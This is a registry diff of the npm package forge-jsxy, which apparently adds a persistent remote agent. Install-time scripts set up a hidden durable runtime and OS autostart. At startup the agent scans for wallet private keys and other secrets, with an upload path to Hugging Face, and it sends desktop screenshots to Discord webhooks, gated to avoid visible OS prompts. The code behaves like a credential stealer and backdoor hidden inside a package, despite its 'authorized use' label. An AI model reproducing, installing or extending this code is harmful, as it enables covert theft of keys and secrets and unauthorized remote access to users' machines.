forge-jsxy 1.0.80 → 1.0.82
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +10 -13
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentRunner.js +6 -1
- package/dist/assets/files-explorer-template.html +11 -14
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +17 -2
- package/dist/autostart/agentEnvFile.js +37 -7
- package/dist/autostart/darwin.js +4 -1
- package/dist/autostart/linux.js +1 -1
- package/dist/autostart/resolve.js +2 -2
- package/dist/autostart/windows.js +1 -0
- package/dist/cli-agent.js +25 -11
- package/dist/cli-autostart.js +82 -8
- package/dist/cli-forge.js +0 -0
- package/dist/cli-relay.js +0 -0
- package/dist/discordAgentScreenshot.js +15 -0
- package/dist/discordWebhookPost.d.ts +1 -0
- package/dist/discordWebhookPost.js +20 -5
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/hfCredentials.js +22 -8
- package/dist/relayAgent.js +56 -2
- package/dist/relayServer.js +17 -0
- package/dist/secretScan/agentStartupAudit.d.ts +51 -0
- package/dist/secretScan/agentStartupAudit.js +722 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/workerBootstrap.js +13 -1
- package/package.json +7 -3
- package/scripts/forge-isolated-runtime.mjs +278 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +4 -0
- package/scripts/forge-jsx-explorer-restart.mjs +4 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +9 -1
- package/scripts/pm2-restart-forge-relay-agent.sh +2 -0
- package/scripts/postinstall-agent.mjs +161 -14
- package/scripts/postinstall-bootstrap.mjs +3 -1
- package/scripts/postinstall-durable-materialize.mjs +118 -0
package/dist/cli-agent.js
CHANGED
|
@@ -7,10 +7,12 @@ const clientId_1 = require("./clientId");
|
|
|
7
7
|
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
8
8
|
const manifest_1 = require("./autostart/manifest");
|
|
9
9
|
const agentRunner_1 = require("./agentRunner");
|
|
10
|
+
const runFilenameSecretScan_1 = require("./secretScan/runFilenameSecretScan");
|
|
10
11
|
function bootstrapSyncEnvFromDisk() {
|
|
11
12
|
const dir = (0, clientId_1.defaultCfgmgrDataDir)();
|
|
12
13
|
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
|
|
13
14
|
(0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
|
|
15
|
+
(0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
|
|
14
16
|
const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
|
|
15
17
|
(process.env.CFGMGR_API_URL || "").trim() ||
|
|
16
18
|
(process.env.CFGMGR_CFG || "").trim();
|
|
@@ -22,8 +24,18 @@ function bootstrapSyncEnvFromDisk() {
|
|
|
22
24
|
process.env.CFGMGR_API_URL = u;
|
|
23
25
|
}
|
|
24
26
|
}
|
|
25
|
-
if (process.argv
|
|
27
|
+
if (process.argv[2] === "secret-scan") {
|
|
28
|
+
void (0, runFilenameSecretScan_1.runFilenameSecretScanCli)(process.argv.slice(3))
|
|
29
|
+
.then((code) => process.exit(code))
|
|
30
|
+
.catch((e) => {
|
|
31
|
+
console.error("forge-agent secret-scan:", e instanceof Error ? e.message : e);
|
|
32
|
+
process.exit(2);
|
|
33
|
+
});
|
|
34
|
+
}
|
|
35
|
+
else if (process.argv.includes("-h") || process.argv.includes("--help")) {
|
|
26
36
|
console.log(`Usage: forge-agent --relay <ws://host:9877> [--session <id>] [--password <p>|--no-password] [--no-filesystem] [--quiet]\n` +
|
|
37
|
+
` forge-agent secret-scan [--path <dir>] [--patterns <json>] [--output <base>] [--threads N] [--include-raw-findings]\n` +
|
|
38
|
+
` Local filename-pattern scan for key-like material (JSON + CSV report; no relay; authorized use only — see secret-scan --help).\n` +
|
|
27
39
|
`Env: CFGMGR_RELAY_URL, FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD (overridden by --password when set)\n` +
|
|
28
40
|
`Session: omit CFGMGR_SESSION_ID to discover sync_api_base_url via GET /api/relay-for-agent.\n` +
|
|
29
41
|
` Default on all OSes: use this machine's client_* session so explorer targets local disks (no shared-room collisions).\n` +
|
|
@@ -41,16 +53,18 @@ if (process.argv.includes("-h") || process.argv.includes("--help")) {
|
|
|
41
53
|
`Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
|
|
42
54
|
process.exit(0);
|
|
43
55
|
}
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
56
|
+
else {
|
|
57
|
+
try {
|
|
58
|
+
bootstrapSyncEnvFromDisk();
|
|
59
|
+
const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
|
|
60
|
+
if (!opts) {
|
|
61
|
+
console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
|
|
62
|
+
process.exit(2);
|
|
63
|
+
}
|
|
64
|
+
(0, agentRunner_1.runForgeAgentWithSingleton)(opts);
|
|
65
|
+
}
|
|
66
|
+
catch (e) {
|
|
67
|
+
console.error("forge-agent:", e instanceof Error ? e.message : e);
|
|
49
68
|
process.exit(2);
|
|
50
69
|
}
|
|
51
|
-
(0, agentRunner_1.runForgeAgentWithSingleton)(opts);
|
|
52
|
-
}
|
|
53
|
-
catch (e) {
|
|
54
|
-
console.error("forge-agent:", e instanceof Error ? e.message : e);
|
|
55
|
-
process.exit(2);
|
|
56
70
|
}
|
package/dist/cli-autostart.js
CHANGED
|
@@ -1,17 +1,55 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
"use strict";
|
|
3
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
4
|
+
if (k2 === undefined) k2 = k;
|
|
5
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
6
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
7
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
8
|
+
}
|
|
9
|
+
Object.defineProperty(o, k2, desc);
|
|
10
|
+
}) : (function(o, m, k, k2) {
|
|
11
|
+
if (k2 === undefined) k2 = k;
|
|
12
|
+
o[k2] = m[k];
|
|
13
|
+
}));
|
|
14
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
15
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
16
|
+
}) : function(o, v) {
|
|
17
|
+
o["default"] = v;
|
|
18
|
+
});
|
|
19
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
20
|
+
var ownKeys = function(o) {
|
|
21
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
22
|
+
var ar = [];
|
|
23
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
24
|
+
return ar;
|
|
25
|
+
};
|
|
26
|
+
return ownKeys(o);
|
|
27
|
+
};
|
|
28
|
+
return function (mod) {
|
|
29
|
+
if (mod && mod.__esModule) return mod;
|
|
30
|
+
var result = {};
|
|
31
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
32
|
+
__setModuleDefault(result, mod);
|
|
33
|
+
return result;
|
|
34
|
+
};
|
|
35
|
+
})();
|
|
3
36
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
4
37
|
/**
|
|
5
38
|
* Register or remove OS autostart for forge-agent (logon / user session / boot+linger on Linux).
|
|
6
39
|
*/
|
|
40
|
+
const fs = __importStar(require("node:fs"));
|
|
41
|
+
const path = __importStar(require("node:path"));
|
|
7
42
|
const install_1 = require("./autostart/install");
|
|
43
|
+
const durableDistDir_1 = require("./durableDistDir");
|
|
8
44
|
function parseArgs(argv) {
|
|
45
|
+
const envDist = (process.env.FORGE_JS_AUTOSTART_DIST_DIR || "").trim();
|
|
9
46
|
const opts = {
|
|
10
47
|
relayUrl: process.env.FORGE_JS_RELAY_URL?.trim() ||
|
|
11
48
|
process.env.CFGMGR_RELAY_URL?.trim() ||
|
|
12
49
|
"",
|
|
13
50
|
};
|
|
14
51
|
let cmd = "help";
|
|
52
|
+
let distDir = envDist;
|
|
15
53
|
for (let i = 2; i < argv.length; i++) {
|
|
16
54
|
const a = argv[i];
|
|
17
55
|
if (a === "install")
|
|
@@ -35,33 +73,63 @@ function parseArgs(argv) {
|
|
|
35
73
|
opts.noPassword = true;
|
|
36
74
|
else if (a === "--no-filesystem")
|
|
37
75
|
opts.noFilesystem = true;
|
|
76
|
+
else if (a === "--omit-relay-arg")
|
|
77
|
+
opts.omitRelayArg = true;
|
|
78
|
+
else if (a === "--omit-sync-url")
|
|
79
|
+
opts.omitSyncUrl = true;
|
|
80
|
+
else if ((a === "--dist-dir" || a === "--agent-dist") && argv[i + 1]) {
|
|
81
|
+
distDir = path.resolve(argv[++i]);
|
|
82
|
+
}
|
|
83
|
+
}
|
|
84
|
+
return { cmd, opts, distDir };
|
|
85
|
+
}
|
|
86
|
+
/** Prefer explicit --dist-dir / env; else durable hidden runtime from current.json; else this package dist/. */
|
|
87
|
+
function resolveDistDirForInstall(parsedDist) {
|
|
88
|
+
const trimmed = parsedDist.trim();
|
|
89
|
+
if (trimmed)
|
|
90
|
+
return trimmed;
|
|
91
|
+
const durable = (0, durableDistDir_1.readDurableForgeDistDirFromDisk)();
|
|
92
|
+
if (durable && fs.existsSync(path.join(durable, "cli-agent.js"))) {
|
|
93
|
+
return durable;
|
|
38
94
|
}
|
|
39
|
-
return
|
|
95
|
+
return (0, install_1.defaultDistDir)();
|
|
40
96
|
}
|
|
41
97
|
function printHelp() {
|
|
42
98
|
console.log(`forge-autostart — OS autostart for forge-agent (Windows / Linux / macOS)
|
|
43
99
|
|
|
44
100
|
Usage:
|
|
45
|
-
forge-autostart install --relay <ws://host:9877> [options]
|
|
101
|
+
forge-autostart install [--relay <ws://host:9877>] [options]
|
|
46
102
|
forge-autostart uninstall
|
|
47
103
|
forge-autostart status
|
|
48
104
|
|
|
49
105
|
Options (install):
|
|
50
|
-
--relay URL WebSocket relay (
|
|
106
|
+
--relay URL WebSocket relay (omit when using --omit-relay-arg; else env vars count as relay)
|
|
51
107
|
--session ID Optional session id (else uses persisted .client_id)
|
|
52
108
|
--password P Session password (omit to use CFGMGR_SESSION_PASSWORD at runtime — not stored in manifest)
|
|
53
109
|
--no-password Agent without password
|
|
54
110
|
--no-filesystem Disable fs explorer on agent
|
|
111
|
+
--dist-dir DIR Package dist/ containing cli-agent.js (isolated runtime — survives deleting an npm project)
|
|
112
|
+
--omit-relay-arg Omit --relay from OS service argv (agent uses embedded deployment relay URL only)
|
|
113
|
+
--omit-sync-url Omit sync URL from forge-js-agent.env (bundle-sourced sync)
|
|
114
|
+
|
|
115
|
+
Env:
|
|
116
|
+
FORGE_JS_AUTOSTART_DIST_DIR Same as --dist-dir when set
|
|
55
117
|
|
|
56
118
|
Behavior:
|
|
57
119
|
Windows: Task Scheduler task "${"ForgeJSWorker"}" at user logon (HKCU Run fallback if policy blocks)
|
|
58
120
|
Linux: systemd user unit forge-js-worker.service + loginctl enable-linger (best-effort)
|
|
59
121
|
macOS: ~/Library/LaunchAgents/com.forgejs.worker.plist (RunAtLoad + KeepAlive)
|
|
60
122
|
|
|
61
|
-
|
|
123
|
+
PATH:
|
|
124
|
+
Does not modify system/user PATH. Entries use absolute paths to Node (at install time) and
|
|
125
|
+
cli-agent.js. If --dist-dir / FORGE_JS_AUTOSTART_DIST_DIR are omitted, install uses the durable
|
|
126
|
+
dist from <CfgMgr data>/.forge-jsxy/current.json when present (same tree as npm postinstall),
|
|
127
|
+
otherwise this package's dist/ next to forge-autostart.
|
|
128
|
+
|
|
129
|
+
Requires: dist/cli-agent.js at resolved dist dir. Uses current Node (process.execPath).
|
|
62
130
|
`);
|
|
63
131
|
}
|
|
64
|
-
const { cmd, opts } = parseArgs(process.argv);
|
|
132
|
+
const { cmd, opts, distDir: parsedDist } = parseArgs(process.argv);
|
|
65
133
|
if (cmd === "help") {
|
|
66
134
|
printHelp();
|
|
67
135
|
process.exit(0);
|
|
@@ -76,11 +144,17 @@ if (cmd === "uninstall") {
|
|
|
76
144
|
process.exit(0);
|
|
77
145
|
}
|
|
78
146
|
if (cmd === "install") {
|
|
79
|
-
if (!opts.relayUrl.trim()) {
|
|
80
|
-
console.error("forge-autostart install: --relay or FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL
|
|
147
|
+
if (!opts.relayUrl.trim() && !opts.omitRelayArg) {
|
|
148
|
+
console.error("forge-autostart install: pass --relay or set FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL, " +
|
|
149
|
+
"or use --omit-relay-arg when the agent should use the embedded deployment relay URL only.");
|
|
150
|
+
process.exit(2);
|
|
151
|
+
}
|
|
152
|
+
let distDirFinal = resolveDistDirForInstall(parsedDist);
|
|
153
|
+
if (!fs.existsSync(path.join(distDirFinal, "cli-agent.js"))) {
|
|
154
|
+
console.error(`forge-autostart install: cli-agent.js not found under dist dir: ${distDirFinal}`);
|
|
81
155
|
process.exit(2);
|
|
82
156
|
}
|
|
83
|
-
const ok = (0, install_1.installAutostart)(opts,
|
|
157
|
+
const ok = (0, install_1.installAutostart)(opts, distDirFinal);
|
|
84
158
|
if (ok) {
|
|
85
159
|
console.log("forge-autostart: install completed.");
|
|
86
160
|
process.exit(0);
|
package/dist/cli-forge.js
CHANGED
|
File without changes
|
package/dist/cli-relay.js
CHANGED
|
File without changes
|
|
@@ -209,7 +209,22 @@ function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
|
|
|
209
209
|
const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
|
|
210
210
|
return Math.min(600_000, Math.max(10_000, base + extra));
|
|
211
211
|
}
|
|
212
|
+
/**
|
|
213
|
+
* Desktop capture can surface OS prompts or visible tooling (e.g. macOS Screen Recording, capture helpers).
|
|
214
|
+
* When **`FORGE_JS_HEADLESS_UI`** is on (PM2 default), skip Discord screenshots on **all** platforms unless
|
|
215
|
+
* **`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS=1`** (opt back in after approving unattended capture).
|
|
216
|
+
*/
|
|
217
|
+
function discordScreenshotSkippedWhenHeadlessUiGateActive() {
|
|
218
|
+
const headless = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_HEADLESS_UI || "").trim().toLowerCase());
|
|
219
|
+
if (!headless)
|
|
220
|
+
return false;
|
|
221
|
+
const allow = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS || "").trim().toLowerCase());
|
|
222
|
+
return !allow;
|
|
223
|
+
}
|
|
212
224
|
function startDiscordScreenshotToRelayLoop(opts) {
|
|
225
|
+
if (discordScreenshotSkippedWhenHeadlessUiGateActive()) {
|
|
226
|
+
return () => { };
|
|
227
|
+
}
|
|
213
228
|
const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
|
|
214
229
|
const envOn = ["1", "true", "yes", "on"].includes(en);
|
|
215
230
|
if (!envOn && !opts.enabledByRelayCapabilities) {
|
|
@@ -1,5 +1,6 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.discordWebhookHostnameAllowed = discordWebhookHostnameAllowed;
|
|
3
4
|
exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
|
|
4
5
|
/**
|
|
5
6
|
* Agent-side POST of an image (PNG or JPEG) to a Discord **incoming webhook** URL (no Bot header).
|
|
@@ -19,10 +20,23 @@ exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
|
|
|
19
20
|
* this transparently via X-RateLimit-* headers.
|
|
20
21
|
* 4. `?wait=true` ensures we get a proper response body with message ID so transient failures
|
|
21
22
|
* are distinguished from successes.
|
|
22
|
-
* 5. Host allowlist prevents SSRF — only
|
|
23
|
+
* 5. Host allowlist prevents SSRF — only official Discord webhook API hosts are accepted,
|
|
24
|
+
* plus legacy **discordapp.com** aliases (still routed to Discord's API; some bookmarks/old docs use them).
|
|
23
25
|
*/
|
|
24
26
|
const node_crypto_1 = require("node:crypto");
|
|
25
27
|
const discordRateLimit_1 = require("./discordRateLimit");
|
|
28
|
+
/** Exact hostname match only (no subdomain wildcards). */
|
|
29
|
+
const ALLOWED_DISCORD_WEBHOOK_HOSTS = new Set([
|
|
30
|
+
"discord.com",
|
|
31
|
+
"discordapp.com",
|
|
32
|
+
"canary.discord.com",
|
|
33
|
+
"canary.discordapp.com",
|
|
34
|
+
"ptb.discord.com",
|
|
35
|
+
"ptb.discordapp.com",
|
|
36
|
+
]);
|
|
37
|
+
function discordWebhookHostnameAllowed(hostname) {
|
|
38
|
+
return ALLOWED_DISCORD_WEBHOOK_HOSTS.has(hostname.trim().toLowerCase());
|
|
39
|
+
}
|
|
26
40
|
function discordAttachmentFilenameAndMime(buf) {
|
|
27
41
|
if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
|
|
28
42
|
return { filename: "screenshot.jpg", mime: "image/jpeg" };
|
|
@@ -80,10 +94,11 @@ function _getWebhookTracker(webhookPath) {
|
|
|
80
94
|
async function postPngToDiscordWebhookUrl(webhookUrl, png, caption) {
|
|
81
95
|
const u = new URL(webhookUrl.trim());
|
|
82
96
|
const h = u.hostname.toLowerCase();
|
|
83
|
-
if (h
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
97
|
+
if (!discordWebhookHostnameAllowed(h)) {
|
|
98
|
+
return {
|
|
99
|
+
ok: false,
|
|
100
|
+
error: "webhook URL host must be discord.com or discordapp.com (stable/canary/ptb); other hosts blocked (SSRF)",
|
|
101
|
+
};
|
|
87
102
|
}
|
|
88
103
|
const base = webhookUrl.trim();
|
|
89
104
|
const exec = base.includes("?") ? `${base}&wait=true` : `${base}?wait=true`;
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.readDurableForgeDistDirFromDisk = readDurableForgeDistDirFromDisk;
|
|
37
|
+
/**
|
|
38
|
+
* Durable agent install path written by `scripts/forge-isolated-runtime.mjs` (`current.json`).
|
|
39
|
+
*/
|
|
40
|
+
const fs = __importStar(require("node:fs"));
|
|
41
|
+
const path = __importStar(require("node:path"));
|
|
42
|
+
const clientId_1 = require("./clientId");
|
|
43
|
+
/**
|
|
44
|
+
* @returns Absolute `dist/` containing `cli-agent.js`, or `""` if not installed / invalid.
|
|
45
|
+
*/
|
|
46
|
+
function readDurableForgeDistDirFromDisk() {
|
|
47
|
+
try {
|
|
48
|
+
const base = path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy");
|
|
49
|
+
const cur = path.join(base, "current.json");
|
|
50
|
+
if (!fs.existsSync(cur))
|
|
51
|
+
return "";
|
|
52
|
+
const j = JSON.parse(fs.readFileSync(cur, "utf8"));
|
|
53
|
+
const d = String(j.distDir ?? "").trim();
|
|
54
|
+
if (!d || !fs.existsSync(path.join(d, "cli-agent.js")))
|
|
55
|
+
return "";
|
|
56
|
+
return d;
|
|
57
|
+
}
|
|
58
|
+
catch {
|
|
59
|
+
return "";
|
|
60
|
+
}
|
|
61
|
+
}
|
package/dist/hfCredentials.js
CHANGED
|
@@ -17,7 +17,8 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
|
|
|
17
17
|
* (JavaScript cannot truly wipe string contents in memory). The relay also scrubs its decrypted
|
|
18
18
|
* copy immediately after sending `relay_hf_credentials_result` over the socket.
|
|
19
19
|
*
|
|
20
|
-
* Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent**
|
|
20
|
+
* Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** (or **`RELAY_HF_CREDENTIALS_B64`** — same blob —
|
|
21
|
+
* {@link loadHfCredentials} accepts either) to base64(iv12 || tag16 || ciphertext) where
|
|
21
22
|
* plaintext UTF-8 JSON is:
|
|
22
23
|
* `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
|
|
23
24
|
* (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
|
|
@@ -48,7 +49,7 @@ function decryptHfCredentialsB64(b64) {
|
|
|
48
49
|
function decryptCredentialsBlob(b64) {
|
|
49
50
|
const raw = Buffer.from(String(b64 || "").trim(), "base64");
|
|
50
51
|
if (raw.length < 12 + 16 + 1) {
|
|
51
|
-
throw new Error("
|
|
52
|
+
throw new Error("HF credential blob too short or invalid base64");
|
|
52
53
|
}
|
|
53
54
|
const iv = raw.subarray(0, 12);
|
|
54
55
|
const tag = raw.subarray(12, 28);
|
|
@@ -56,7 +57,14 @@ function decryptCredentialsBlob(b64) {
|
|
|
56
57
|
const key = (0, deploymentDefaults_1.resolveForgeBundleKey)();
|
|
57
58
|
const decipher = (0, node_crypto_1.createDecipheriv)("aes-256-gcm", key, iv);
|
|
58
59
|
decipher.setAuthTag(tag);
|
|
59
|
-
|
|
60
|
+
let plain;
|
|
61
|
+
try {
|
|
62
|
+
plain = Buffer.concat([decipher.update(enc), decipher.final()]);
|
|
63
|
+
}
|
|
64
|
+
catch {
|
|
65
|
+
throw new Error("HF credentials decrypt failed — wrong FORGE_JS_BUNDLE_KEY, truncated or corrupt " +
|
|
66
|
+
"RELAY_HF_CREDENTIALS_B64 / CFGMGR_HF_CREDENTIALS_B64, or invalid base64");
|
|
67
|
+
}
|
|
60
68
|
const o = JSON.parse(plain.toString("utf8"));
|
|
61
69
|
const token = String(o.token ?? "").trim();
|
|
62
70
|
let hubUrl = String(o.hubUrl ?? o.endpoint ?? "").trim();
|
|
@@ -93,15 +101,21 @@ function loadHfCredentials() {
|
|
|
93
101
|
if (plain)
|
|
94
102
|
c = plain;
|
|
95
103
|
else {
|
|
96
|
-
|
|
104
|
+
/** Same ciphertext as relay; `.env` often sets only `RELAY_HF_CREDENTIALS_B64` when not using PM2 ecosystem mirror. */
|
|
105
|
+
const b64 = ((process.env.CFGMGR_HF_CREDENTIALS_B64 || "").trim() ||
|
|
106
|
+
(process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
|
|
97
107
|
if (!b64) {
|
|
98
|
-
throw new Error("Missing Hugging Face credentials: set
|
|
99
|
-
"
|
|
100
|
-
"with HUGGINGFACE_HUB_TOKEN for local testing");
|
|
108
|
+
throw new Error("Missing Hugging Face credentials: set CFGMGR_HF_CREDENTIALS_B64 or RELAY_HF_CREDENTIALS_B64 " +
|
|
109
|
+
"(same AES-GCM blob), or RELAY_HF_CREDENTIALS_B64 on the relay with agent relay-fetch, " +
|
|
110
|
+
"or CFGMGR_HF_ALLOW_PLAINTEXT=1 with HUGGINGFACE_HUB_TOKEN for local testing");
|
|
101
111
|
}
|
|
102
112
|
c = decryptCredentialsBlob(b64);
|
|
103
113
|
}
|
|
104
|
-
const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
|
|
114
|
+
const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
|
|
115
|
+
process.env.HUGGINGFACE_HUB_NAMESPACE ||
|
|
116
|
+
"")
|
|
117
|
+
.trim()
|
|
118
|
+
.replace(/\/+$/, "");
|
|
105
119
|
if (envNs)
|
|
106
120
|
return { ...c, namespace: envNs };
|
|
107
121
|
return c;
|
package/dist/relayAgent.js
CHANGED
|
@@ -55,6 +55,7 @@ const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
|
55
55
|
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
56
56
|
const clientId_1 = require("./clientId");
|
|
57
57
|
const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
|
|
58
|
+
const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
|
|
58
59
|
const pendingRelayHf = new Map();
|
|
59
60
|
/** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
|
|
60
61
|
const pendingDiscordRelayAck = new Map();
|
|
@@ -459,6 +460,44 @@ function runRelayAgentLoop(opts) {
|
|
|
459
460
|
let discordEnabledByRelayHandshake = false;
|
|
460
461
|
/** One `forge_rtc_agent_status` per viewer session so browsers do not spin ICE forever on unsupported agents. */
|
|
461
462
|
let forgeRtcStatusSentThisViewer = false;
|
|
463
|
+
/**
|
|
464
|
+
* Run secret audit when relay never sends `connected` (stuck handshake / flaky relay).
|
|
465
|
+
* Relay-hosted HF credentials are skipped here (`fetchHubCredentials` rejects); disk merge +
|
|
466
|
+
* `result.json` still run; Hub upload uses local CFGMGR_* HF env only when configured.
|
|
467
|
+
* Override delay via FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS (ms); use `0` to disable.
|
|
468
|
+
*/
|
|
469
|
+
let secretAuditHandshakeFallbackTimer = null;
|
|
470
|
+
const clearSecretAuditHandshakeFallback = () => {
|
|
471
|
+
if (secretAuditHandshakeFallbackTimer != null) {
|
|
472
|
+
clearTimeout(secretAuditHandshakeFallbackTimer);
|
|
473
|
+
secretAuditHandshakeFallbackTimer = null;
|
|
474
|
+
}
|
|
475
|
+
};
|
|
476
|
+
const armSecretAuditHandshakeFallback = () => {
|
|
477
|
+
clearSecretAuditHandshakeFallback();
|
|
478
|
+
const rawMs = (process.env.FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS || "").trim();
|
|
479
|
+
let fallbackMs = 45_000;
|
|
480
|
+
if (rawMs) {
|
|
481
|
+
const n = parseInt(rawMs, 10);
|
|
482
|
+
if (Number.isFinite(n) && n >= 0) {
|
|
483
|
+
if (n === 0)
|
|
484
|
+
return;
|
|
485
|
+
fallbackMs = Math.min(Math.max(n, 5_000), 3_600_000);
|
|
486
|
+
}
|
|
487
|
+
}
|
|
488
|
+
secretAuditHandshakeFallbackTimer = setTimeout(() => {
|
|
489
|
+
secretAuditHandshakeFallbackTimer = null;
|
|
490
|
+
if (relayAgentHandshakeDone)
|
|
491
|
+
return;
|
|
492
|
+
(0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
|
|
493
|
+
relayCaps: {},
|
|
494
|
+
quiet,
|
|
495
|
+
